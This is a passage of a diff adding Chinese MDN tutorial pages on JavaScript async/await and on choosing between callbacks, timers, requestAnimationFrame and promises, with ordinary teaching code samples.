"Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}</div> + +<p class="summary"><a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async functions</a> 和 <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a></code> 关键字是最近添加到JavaScript语言里面的。它们是ECMAScript 2017 JavaScript版的一部分(参见<a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla">ECMAScript Next support in Mozilla</a>)。简单来说,它们是基基于promises的语法糖,使异步代码更易于编写和阅读。通过使用它们,异步代码看起来更像是老式同步代码,因此它们非常值得学习。本文为您提供了您需要了解的内容。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>基本的计算机知识,较好理解 JavaScript 基础,以及理解一般异步代码和 promises 。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解并使用 promise</td> + </tr> + </tbody> +</table> + +<h2 id="asyncawait_基础">async/await 基础</h2> + +<p>在代码中使用 async / await 有两个部分。</p> + +<h3 id="async_关键字">async 关键字</h3> + +<p>首先,我们使用 <code>async</code> 关键字,把它放在函数声明之前,使其成为 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async function</a>。异步函数是一个知道怎样使用 <code>await</code> 关键字调用异步代码的函数。</p> + +<p>尝试在浏览器的JS控制台中键入以下行:</p> + +<pre class="brush: js notranslate">function hello() { return "Hello" }; +hello();</pre> + +<p>该函数返回“Hello” —— 没什么特别的,对吧?</p> + +<p>如果我们将其变成异步函数呢?请尝试以下方法:</p> + +<pre class="brush: js notranslate">async function hello() { return "Hello" }; +hello();</pre> + +<p>哈。现在调用该函数会返回一个 promise。这是异步函数的特征之一 —— 它保证函数的返回值为 promise。</p> + +<p>你也可以创建一个异步函数表达式(参见 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/async_function">async function expression</a> ),如下所示:</p> + +<pre class="brush: js notranslate">let hello = async function() { return "Hello" }; +hello();</pre> + +<p>你可以使用箭头函数:</p> + +<pre class="brush: js notranslate">let hello = async () => { return "Hello" };</pre> + +<p>这些都基本上是一样的。</p> + +<p>要实际使用promise完成时返回的值,我们可以使用<code>.then()</code>块,因为它返回的是 promise:</p> + +<pre class="brush: js notranslate">hello().then((value) => console.log(value))</pre> + +<p>甚至只是简写如</p> + +<pre class="brush: js notranslate">hello().then(console.log)</pre> + +<p>这就像我们在上一篇文章中看到的那样。</p> + +<p>将 <code>async</code> 关键字加到函数申明中,可以告诉它们返回的是 promise,而不是直接返回值。此外,它避免了同步函数为支持使用 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">await</span></font> 带来的任何潜在开销。在函数声明为 <code>async</code> 时,JavaScript引擎会添加必要的处理,以优化你的程序。爽!</p> + +<h3 id="await关键字">await关键字</h3> + +<p>当 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a> 关键字与异步函数一起使用时,它的真正优势就变得明显了 —— 事实上, <strong><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">await</span></font> 只在异步函数里面才起作用</strong>。它可以放在任何异步的,基于 promise 的函数之前。它会暂停代码在该行上,直到 promise 完成,然后返回结果值。在暂停的同时,其他正在等待执行的代码就有机会执行了。</p> + +<p>您可以在调用任何返回Promise的函数时使用 <strong><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">await</span></font></strong>,包括Web API函数。</p> + +<p>这是一个简单的示例:</p> + +<pre class="brush: js notranslate">async function hello() { + return greeting = await Promise.resolve("Hello"); +}; + +hello().then(alert);</pre> + +<p>当然,上面的示例不是很有用,但它确实展示了语法。让我们继续,看一个真实示例。</p> + +<h2 id="使用_asyncawait_重写_promise_代码"> 使用 async/await 重写 promise 代码</h2> + +<p>让我们回顾一下我们在上一篇文章中简单的 fetch 示例:</p> + +<pre class="brush: js notranslate">fetch('coffee.jpg') +.then(response => response.blob()) +.then(myBlob => { + let objectURL = URL.createObjectURL(myBlob); + let image = document.createElement('img'); + image.src = objectURL; + document.body.appendChild(image); +}) +.catch(e => { + console.log('There has been a problem with your fetch operation: ' + e.message); +});</pre> + +<p>到现在为止,你应该对 promises 及其工作方式有一个较好的理解。让我们将其转换为使用async / await看看它使事情变得简单了多少:</p> + +<pre class="brush: js notranslate">async function myFetch() { + let response = await fetch('coffee.jpg'); + let myBlob = await response.blob(); + + let objectURL = URL.createObjectURL(myBlob); + let image = document.createElement('img'); + image.src = objectURL; + document.body.appendChild(image); +} + +myFetch() +.catch(e => { + console.log('There has been a problem with your fetch operation: ' + e.message); +});</pre> + +<p>它使代码简单多了,更容易理解 —— 去除了到处都是 <code>.then()</code> 代码块!</p> + +<p>由于 <code>async</code> 关键字将函数转换为 promise,您可以重构以上代码 —— 使用 promise 和 await 的混合方式,将函数的后半部分抽取到新代码块中。这样做可以更灵活:</p> + +<pre class="brush: js notranslate">async function myFetch() { + let response = await fetch('coffee.jpg'); + return await response.blob(); +} + +myFetch().then((blob) => { + let objectURL = URL.createObjectURL(blob); + let image = document.createElement('img'); + image.src = objectURL; + document.body.appendChild(image); +});</pre> + +<p>您可以尝试自己输入示例,或运行我们的 <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await.html">live example</a> (另请参阅<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await.html">source code</a>)。</p> + +<h3 id="它到底是如何工作的?">它到底是如何工作的?</h3> + +<p>您会注意到我们已经将代码封装在函数中,并且我们在 <code>function</code> 关键字之前包含了 <code>async</code> 关键字。这是必要的 –– 您必须创建一个异步函数来定义一个代码块,在其中运行异步代码; <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">await</span></font> 只能在异步函数内部工作。</p> + +<p>在<code>myFetch()</code>函数定义中,您可以看到代码与先前的 promise 版本非常相似,但存在一些差异。不需要附加 <code>.then()</code> 代码块到每个promise-based方法的结尾,你只需要在方法调用前添加 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">await</span></font> 关键字,然后把结果赋给变量。<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">await</span></font> 关键字使JavaScript运行时暂停于此行,允许其他代码在此期间执行,直到异步函数调用返回其结果。一旦完成,您的代码将继续从下一行开始执行。例如:</p> + +<pre class="brush: js notranslate">let response = await fetch('coffee.jpg');</pre> + +<p>解析器会在此行上暂停,直到当服务器返回的响应变得可用时。此时 <code>fetch()</code> 返回的 promise 将会完成(fullfilled),返回的 response 会被赋值给 <code>response</code> 变量。一旦服务器返回的响应可用,解析器就会移动到下一行,从而创建一个<code><a href="/en-US/docs/Web/API/Blob">Blob</a></code>。Blob这行也调用基于异步promise的方法,因此我们也在此处使用<code>await</code>。当操作结果返回时,我们将它从<code>myFetch()</code>函数中返回。</p> + +<p>这意味着当我们调用<code>myFetch()</code>函数时,它会返回一个promise,因此我们可以将<code>.then()</code>链接到它的末尾,在其中我们处理显示在屏幕上的<code>blob</code>。</p> + +<p>你可能已经觉得“这真的很酷!”,你是对的 —— 用更少的.<code>then()</code>块来封装代码,同时它看起来很像同步代码,所以它非常直观。</p> + +<h3 id="添加错误处理">添加错误处理</h3> + +<p>如果你想添加错误处理,你有几个选择。</p> + +<p>您可以将同步的 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> 结构和 <code>async/await</code> 一起使用 。此示例扩展了我们上面展示的第一个版本代码:</p> + +<pre class="brush: js notranslate">async function myFetch() { + try { + let response = await fetch('coffee.jpg'); + let myBlob = await response.blob(); + + let objectURL = URL.createObjectURL(myBlob); + let image = document.createElement('img'); + image.src = objectURL; + document.body.appendChild(image); + } catch(e) { + console.log(e); + } +} + +myFetch();</pre> + +<p><code>catch() {}</code> 代码块会接收一个错误对象 <code>e</code> ; 我们现在可以将其记录到控制台,它将向我们提供详细的错误消息,显示错误被抛出的代码中的位置。</p> + +<p>如果你想使用我们上面展示的第二个(重构)代码版本,你最好继续混合方式并将 <code>.catch()</code> 块链接到 <code>.then()</code> 调用的末尾,就像这样:</p> + +<pre class="brush: js notranslate">async function myFetch() { + let response = await fetch('coffee.jpg'); + return await response.blob(); +} + +myFetch().then((blob) => { + let objectURL = URL.createObjectURL(blob); + let image = document.createElement('img'); + image.src = objectURL; + document.body.appendChild(image); +}) +.catch((e) => + console.log(e) +);</pre> + +<p>这是因为 <code>.catch()</code> 块将捕获来自异步函数调用和promise链中的错误。如果您在此处使用了<code>try/catch</code> 代码块,则在调用 <code>myFetch()</code> 函数时,您仍可能会收到未处理的错误。</p> + +<p>您可以在GitHub上找到这两个示例:</p> + +<ul> + <li><a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await-try-catch.html">simple-fetch-async-await-try-catch.html</a> (参见 <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await-try-catch.html">源码</a>)</li> + <li><a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/simple-fetch-async-await-promise-catch.html">simple-fetch-async-await-promise-catch.html</a> (参见 <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/simple-fetch-async-await-promise-catch.html">源码</a>)</li> +</ul> + +<h2 id="等待Promise.all">等待Promise.all()</h2> + +<p><code>async / await</code> 建立在 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promises</a> 之上,因此它与promises提供的所有功能兼容。这包括<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all">Promise.all()</a></code> –– 你完全可以通过调用 <code>await</code> <code>Promise.all()</code> 将所有结果返回到变量中,就像同步代码一样。让我们再次回到<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html">上一篇中看到的例子</a>。在单独的选项卡中打开它,以便您可以与下面显示的新版本进行比较和对比。</p> + +<p>将其转换为 async / await(请参阅 <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/promise-all-async-await.html">样例</a> 和 <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/promise-all-async-await.html">源码</a>),现在看起来像这样:</p> + +<pre class="brush: js notranslate">async function fetchAndDecode(url, type) { + let response = await fetch(url); + + let content; + + if(type === 'blob') { + content = await response.blob(); + } else if(type === 'text') { + content = await response.text(); + } + + return content; +} + +async function displayContent() { + let coffee = fetchAndDecode('coffee.jpg', 'blob'); + let tea = fetchAndDecode('tea.jpg', 'blob'); + let description = fetchAndDecode('description.txt', 'text'); + + let values = await Promise.all([coffee, tea, description]); + + let objectURL1 = URL.createObjectURL(values[0]); + let objectURL2 = URL.createObjectURL(values[1]); + let descText = values[2]; + + let image1 = document.createElement('img'); + let image2 = document.createElement('img'); + image1.src = objectURL1; + image2.src = objectURL2; + document.body.appendChild(image1); + document.body.appendChild(image2); + + let para = document.createElement('p'); + para.textContent = descText; + document.body.appendChild(para); +} + +displayContent() +.catch((e) => + console.log(e) +);</pre> + +<p>可以看到 <code>fetchAndDecode()</code> 函数只进行了一丁点的修改就转换成了异步函数。请看<code>Promise.all()</code> 行:</p> + +<pre class="brush: js notranslate">let values = await Promise.all([coffee, tea, description]);</pre> + +<p>在这里,通过使用<code>await</code>,我们能够在三个promise的结果都可用的时候,放入<code>values</code>数组中。这看起来非常像同步代码。我们需要将所有代码封装在一个新的异步函数<code>displayContent()</code> 中,尽管没有减少很多代码,但能够将大部分代码从 <code>.then()</code> 代码块移出,使代码得到了简化,更易读。</p> + +<p>为了错误处理,我们在 <code>displayContent()</code> 调用中包含了一个 <code>.catch()</code> 代码块;这将处理两个函数中出现的错误。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 也可以在异步函数中使用同步 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch#The_finally_clause">finally</a></code> 代码块代替 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/finally">.finally()</a></code> 异步代码块,以显示操作如何进行的最终报告——您可以在我们的 <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/promise-finally-async-await.html">live example</a> (查看<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/promise-finally-async-await.html">源代码</a>)中看到这一点。</p> +</div> + +<h2 id="asyncawait的缺陷">async/await的缺陷</h2> + +<p>了解<code>Async/await</code>是非常有用的,但还有一些缺点需要考虑。</p> + +<p><code>Async/await</code> 让你的代码看起来是同步的,在某种程度上,也使得它的行为更加地同步。 <code>await</code> 关键字会阻塞其后的代码,直到promise完成,就像执行同步操作一样。它确实可以允许其他任务在此期间继续运行,但您自己的代码被阻塞。</p> + +<p>这意味着您的代码可能会因为大量<code>await</code>的promises相继发生而变慢。每个<code>await</code>都会等待前一个完成,而你实际想要的是所有的这些promises同时开始处理(就像我们没有使用<code>async/await</code>时那样)。</p> + +<p>有一种模式可以缓解这个问题——通过将 <code>Promise</code> 对象存储在变量中来同时开始它们,然后等待它们全部执行完毕。让我们看一些证明这个概念的例子。</p> + +<p>我们有两个可用的例子 —— <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/slow-async-await.html">slow-async-await.html</a>(参见<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/slow-async-await.html">source code</a>)和<a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/fast-async-await.html">fast-async-await.html</a>(参见<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/fast-async-await.html">source code</a>)。它们都以自定义promise函数开始,该函数使用<code>setTimeout()</code> 调用伪造异步进程:</p> + +<pre class="brush: js notranslate">function timeoutPromise(interval) { + return new Promise((resolve, reject) => { + setTimeout(function(){ + resolve("done"); + }, interval); + }); +};</pre> + +<p>然后每个包含一个 <code>timeTest()</code> 异步函数,等待三个 <code>timeoutPromise()</code> 调用:</p> + +<pre class="brush: js notranslate">async function timeTest() { + ... +}</pre> + +<p>每一个都以记录开始时间结束,查看 <code>timeTest()</code> promise 需要多长时间才能完成,然后记录结束时间并报告操作总共需要多长时间:</p> + +<pre class="brush: js notranslate">let startTime = Date.now(); +timeTest().then(() => { + let finishTime = Date.now(); + let timeTaken = finishTime - startTime; + alert("Time taken in milliseconds: " + timeTaken); +})</pre> + +<p><code>timeTest()</code> 函数在每种情况下都不同。</p> + +<p>在<a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/slow-async-await.html">slow-async-await.html</a>示例中,<code>timeTest()</code> 如下所示:</p> + +<pre class="brush: js notranslate">async function timeTest() { + await timeoutPromise(3000); + await timeoutPromise(3000); + await timeoutPromise(3000); +}</pre> + +<p>在这里,我们直接等待所有三个timeoutPromise()调用,使每个调用3秒钟。后续的每一个都被迫等到最后一个完成 - 如果你运行第一个例子,你会看到弹出框报告的总运行时间大约为9秒。</p> + +<p>在<a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/fast-async-await.html">fast-async-await.html</a>示例中,<code>timeTest()</code> 如下所示:</p> + +<pre class="brush: js notranslate">async function timeTest() { + const timeoutPromise1 = timeoutPromise(3000); + const timeoutPromise2 = timeoutPromise(3000); + const timeoutPromise3 = timeoutPromise(3000); + + await timeoutPromise1; + await timeoutPromise2; + await timeoutPromise3; +}</pre> + +<p>在这里,我们将三个Promise对象存储在变量中,这样可以同时启动它们关联的进程。</p> + +<p>接下来,我们等待他们的结果 - 因为promise都在基本上同时开始处理,promise将同时完成;当您运行第二个示例时,您将看到弹出框报告总运行时间仅超过3秒!</p> + +<p>您必须仔细测试您的代码,并在性能开始受损时牢记这一点。</p> + +<p>另一个小小的不便是你必须将期待已久的promise封装在异步函数中。</p> + +<h2 id="Asyncawait_的类方法">Async/await 的类方法</h2> + +<p>最后值得一提的是,我们可以在类/对象方法前面添加<code>async</code>,以使它们返回promises,并<code>await</code>它们内部的promises。查看 <a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance#ECMAScript_2015_Classes">ES class code we saw in our object-oriented JavaScript article</a>,然后使用异步方法查看我们的修改版本:</p> + +<pre class="brush: js notranslate">class Person { + constructor(first, last, age, gender, interests) { + this.name = { + first, + last + }; + this.age = age; + this.gender = gender; + this.interests = interests; + } + + async greeting() { + return await Promise.resolve(`Hi! I'm ${this.name.first}`); + }; + + farewell() { + console.log(`${this.name.first} has left the building. Bye for now!`); + }; +} + +let han = new Person('Han', 'Solo', 25, 'male', ['Smuggling']);</pre> + +<p>第一个实例方法可以使用如下:</p> + +<pre class="brush: js notranslate">han.greeting().then(console.log);</pre> + +<h2 id="浏览器的支持">浏览器的支持</h2> + +<p>决定是否使用 async/await 时的一个考虑因素是支持旧浏览器。它们适用于大多数浏览器的现代版本,与promise相同; 主要的支持问题存在于Internet Explorer和Opera Mini。</p> + +<p>如果你想使用async/await但是担心旧的浏览器支持,你可以考虑使用<a href="https://babeljs.io/">BabelJS</a>库 —— 这允许你使用最新的JavaScript编写应用程序,让Babel找出用户浏览器需要的更改。在遇到不支持async/await 的浏览器时,Babel的 polyfill 可以自动提供适用于旧版浏览器的实现。</p> + +<h2 id="总结">总结</h2> + +<p>async/await提供了一种很好的,简化的方法来编写更易于阅读和维护的异步代码。即使浏览器支持在撰写本文时比其他异步代码机制更受限制,但无论是现在还是将来,都值得学习和考虑使用。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}</p> + +<h2 id="本章内容">本章内容</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Concepts">异步编程的基本概念</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Introducing">JavaScript异步简介</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">合作异步的JavaScript:超时和间隔</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Promises">使用Promises:优雅的异步编程</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Async_await">使用async和await:让异步更简单</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">选择正确的方法</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/异步/choosing_the_right_approach/index.html b/files/zh-cn/learn/javascript/异步/choosing_the_right_approach/index.html new file mode 100644 index 0000000000..f11113420e --- /dev/null +++ b/files/zh-cn/learn/javascript/异步/choosing_the_right_approach/index.html @@ -0,0 +1,523 @@ +--- +title: 选择正确的方法 +slug: learn/JavaScript/异步/Choosing_the_right_approach +translation_of: Learn/JavaScript/Asynchronous/Choosing_the_right_approach +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}</div> + +<p>为了完成这个模块,我们将简要讨论我们在整个过程中讨论的不同编码技术和功能,看看你应该使用哪一个,并提供适当的常见陷阱的建议和提醒。随着时间的推移,我们可能会添加到此资源中。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备条件:</th> + <td>基本的计算机素养,对JavaScript基础知识的合理理解。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>能够在使用不同的异步编程技术时做出合理的选择。</td> + </tr> + </tbody> +</table> + +<h2 id="异步回调">异步回调</h2> + +<p>通常在旧式API中找到,涉及将函数作为参数传递给另一个函数,然后在异步操作完成时调用该函数,以便回调可以依次对结果执行某些操作。这是promise的先导;它不那么高效或灵活。仅在必要时使用。</p> + +<table class="standard-table"> + <caption>Useful for...</caption> + <thead> + <tr> + <th scope="col">Single delayed operation</th> + <th scope="col">Repeating operation</th> + <th scope="col">Multiple sequential operations</th> + <th scope="col">Multiple simultaneous operations</th> + </tr> + </thead> + <tbody> + <tr> + <td>No</td> + <td>Yes (recursive callbacks)</td> + <td>Yes (nested callbacks)</td> + <td>No</td> + </tr> + </tbody> +</table> + +<h3 id="代码示例">代码示例</h3> + +<p>通过<a href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code> API</a>加载资源的示例(<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/xhr-async-callback.html">run it live</a>,并查看<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/xhr-async-callback.html">see the source</a>):</p> + +<pre class="brush: js notranslate">function loadAsset(url, type, callback) { + let xhr = new XMLHttpRequest(); + xhr.open('GET', url); + xhr.responseType = type; + + xhr.onload = function() { + callback(xhr.response); + }; + + xhr.send(); +} + +function displayImage(blob) { + let objectURL = URL.createObjectURL(blob); + + let image = document.createElement('img'); + image.src = objectURL; + document.body.appendChild(image); +} + +loadAsset('coffee.jpg', 'blob', displayImage);</pre> + +<h3 id="缺陷">缺陷</h3> + +<ul> + <li>嵌套回调可能很麻烦且难以阅读(即“回调地狱”)</li> + <li>每层嵌套都需要调用一次失败回调,而使用promises,您只需使用一个<code>.catch()</code>代码块来处理整个链的错误。</li> + <li>异步回调不是很优雅。</li> + <li>Promise回调总是按照它们放在事件队列中的严格顺序调用;异步回调不是。</li> + <li>当传入到一个第三方库时,异步回调对函数如何执行失去完全控制。</li> +</ul> + +<h3 id="浏览器兼容性">浏览器兼容性</h3> + +<p>非常好的一般支持,尽管API中回调的确切支持取决于特定的API。有关更具体的支持信息,请参阅您正在使用的API的参考文档。</p> + +<h3 id="更多信息">更多信息</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a>, 尤其是 <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing#Async_callbacks">Async callbacks</a></li> +</ul> + +<h2 id="setTimeout">setTimeout()</h2> + +<p><code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code> 是一种允许您在经过任意时间后运行函数的方法</p> + +<table class="standard-table"> + <caption>Useful for...</caption> + <thead> + <tr> + <th scope="col">Single delayed operation</th> + <th scope="col">Repeating operation</th> + <th scope="col">Multiple sequential operations</th> + <th scope="col">Multiple simultaneous operations</th> + </tr> + <tr> + <td>Yes</td> + <td>Yes (recursive timeouts)</td> + <td>Yes (nested timeouts)</td> + <td>No</td> + </tr> + </thead> +</table> + +<h3 id="代码示例_2">代码示例</h3> + +<p>这里浏览器将在执行匿名函数之前等待两秒钟,然后将显示警报消息(<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-settimeout.html">see it running live</a>,<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-settimeout.html">see the source code</a>):</p> + +<pre class="brush: js notranslate">let myGreeting = setTimeout(function() { + alert('Hello, Mr. Universe!'); +}, 2000)</pre> + +<h3 id="缺陷_2">缺陷</h3> + +<p>您可以使用递归的<code>setTimeout()</code>调用以类似于<code>setInterval()</code>的方式重复运行函数,使用如下代码:</p> + +<pre class="brush: js notranslate">let i = 1; +setTimeout(function run() { + console.log(i); + i++; + + setTimeout(run, 100); +}, 100);</pre> + +<p>递归<code>setTimeout()</code>和<code>setInterval()</code>之间存在差异:</p> + +<ul> + <li>递归<code>setTimeout()</code>保证执行之间至少经过指定的时间(在本例中为100ms);代码将运行,然后等待100毫秒再次运行。无论代码运行多长时间,间隔都是相同的。</li> + <li>使用<code>setInterval()</code>,我们选择的间隔包括执行我们想要运行的代码所花费的时间。假设代码需要40毫秒才能运行 ––然后间隔最终只有60毫秒。</li> +</ul> + +<p>当你的代码有可能比你分配的时间间隔更长时间运行时,最好使用递归的<code>setTimeout()</code> ––这将使执行之间的时间间隔保持不变,无论代码执行多长时间,你不会得到错误。</p> + +<h3 id="浏览器兼容性_2">浏览器兼容性</h3> + +<p>{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}</p> + +<h3 id="更多信息_2">更多信息</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">Cooperative asynchronous JavaScript: Timeouts and intervals</a>, in particular <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals#setTimeout()">setTimeout()</a></li> + <li><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout() reference</a></li> +</ul> + +<h2 id="setInterval">setInterval()</h2> + +<p><code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a></code>是一种允许您在每次执行之间以设定的时间间隔重复运行函数的方法。不如<code><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame()</a></code>有效,但允许您选择运行速率/帧速率。</p> + +<table class="standard-table"> + <caption>Useful for...</caption> + <thead> + <tr> + <th scope="col">Single delayed operation</th> + <th scope="col">Repeating operation</th> + <th scope="col">Multiple sequential operations</th> + <th scope="col">Multiple simultaneous operations</th> + </tr> + <tr> + <td>No</td> + <td>Yes</td> + <td>No (unless it is the same one)</td> + <td>No</td> + </tr> + </thead> +</table> + +<h3 id="代码示例_3">代码示例</h3> + +<p>以下函数创建一个新的<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date()</a></code>对象,使用<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString">toLocaleTimeString()</a></code>从中提取时间字符串,然后在UI中显示它。然后我们使用<code>setInterval()</code>每秒运行一次,创建每秒更新一次的数字时钟的效果(<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">see this live</a>,<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">see the source</a>):</p> + +<pre class="brush: js notranslate">function displayTime() { + let date = new Date(); + let time = date.toLocaleTimeString(); + document.getElementById('demo').textContent = time; +} + +const createClock = setInterval(displayTime, 1000);</pre> + +<h3 id="缺陷_3">缺陷</h3> + +<ul> + <li>帧速率未针对运行动画的系统进行优化,并且可能效率低下。除非您需要选择特定(较慢)的帧速率,否则通常最好使用<code>requestAnimationFrame(</code>).</li> +</ul> + +<h3 id="浏览器兼容性_3">浏览器兼容性</h3> + +<p>{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}</p> + +<h3 id="更多信息_3">更多信息</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">Cooperative asynchronous JavaScript: Timeouts and intervals</a>, in particular <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a></li> + <li><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval() reference</a></li> +</ul> + +<h2 id="requestAnimationFrame">requestAnimationFrame()</h2> + +<p><code><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame()</a></code>是一种允许您以给定当前浏览器/系统的最佳帧速率重复且高效地运行函数的方法。除非您需要特定的速率帧,否则您应该尽可能使用它而不要去使用<code>setInterval()/recursive setTimeout()</code>。</p> + +<table class="standard-table"> + <caption>Useful for...</caption> + <thead> + <tr> + <th scope="col">Single delayed operation</th> + <th scope="col">Repeating operation</th> + <th scope="col">Multiple sequential operations</th> + <th scope="col">Multiple simultaneous operations</th> + </tr> + <tr> + <td>No</td> + <td>Yes</td> + <td>No (unless it is the same one)</td> + <td>No</td> + </tr> + </thead> +</table> + +<h3 id="代码示例_4">代码示例</h3> + +<p>一个简单的动画旋转器;你可以查看<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-raf-spinner.html">example live on GitHub</a>(参见 <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-raf-spinner.html">source code</a> ):</p> + +<pre class="brush: js notranslate">const spinner = document.querySelector('div'); +let rotateCount = 0; +let startTime = null; +let rAF; + +function draw(timestamp) { + if(!startTime) { + startTime = timestamp; + } + + let rotateCount = (timestamp - startTime) / 3; + + spinner.style.transform = 'rotate(' + rotateCount + 'deg)'; + + if(rotateCount > 359) { + rotateCount = 0; + } + + rAF = requestAnimationFrame(draw); +} + +draw();</pre> + +<h3 id="缺陷_4">缺陷</h3> + +<ul> + <li>您无法使用<code>requestAnimationFrame()</code>选择特定的帧速率。如果需要以较慢的帧速率运行动画,则需要使用<code>setInterval()</code>或递归的<code>setTimeout()</code>。</li> +</ul> + +<h3 id="浏览器兼容性_4">浏览器兼容性</h3> + +<p>{{Compat("api.Window.requestAnimationFrame")}}</p> + +<h3 id="更多信息_4">更多信息</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">Cooperative asynchronous JavaScript: Timeouts and intervals</a>, in particular <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals#requestAnimationFrame()">requestAnimationFrame()</a></li> + <li><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame() reference</a></li> +</ul> + +<h2 id="Promises">Promises</h2> + +<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> 是一种JavaScript功能,允许您运行异步操作并等到它完全完成后再根据其结果运行另一个操作。 Promise是现代异步JavaScript的支柱。</p> + +<table class="standard-table"> + <caption>Useful for...</caption> + <thead> + <tr> + <th scope="col">Single delayed operation</th> + <th scope="col">Repeating operation</th> + <th scope="col">Multiple sequential operations</th> + <th scope="col">Multiple simultaneous operations</th> + </tr> + <tr> + <td>No</td> + <td>No</td> + <td>Yes</td> + <td>See <code>Promise.all()</code>, below</td> + </tr> + </thead> +</table> + +<h3 id="代码示例_5">代码示例</h3> + +<p>以下代码从服务器获取图像并将其显示在 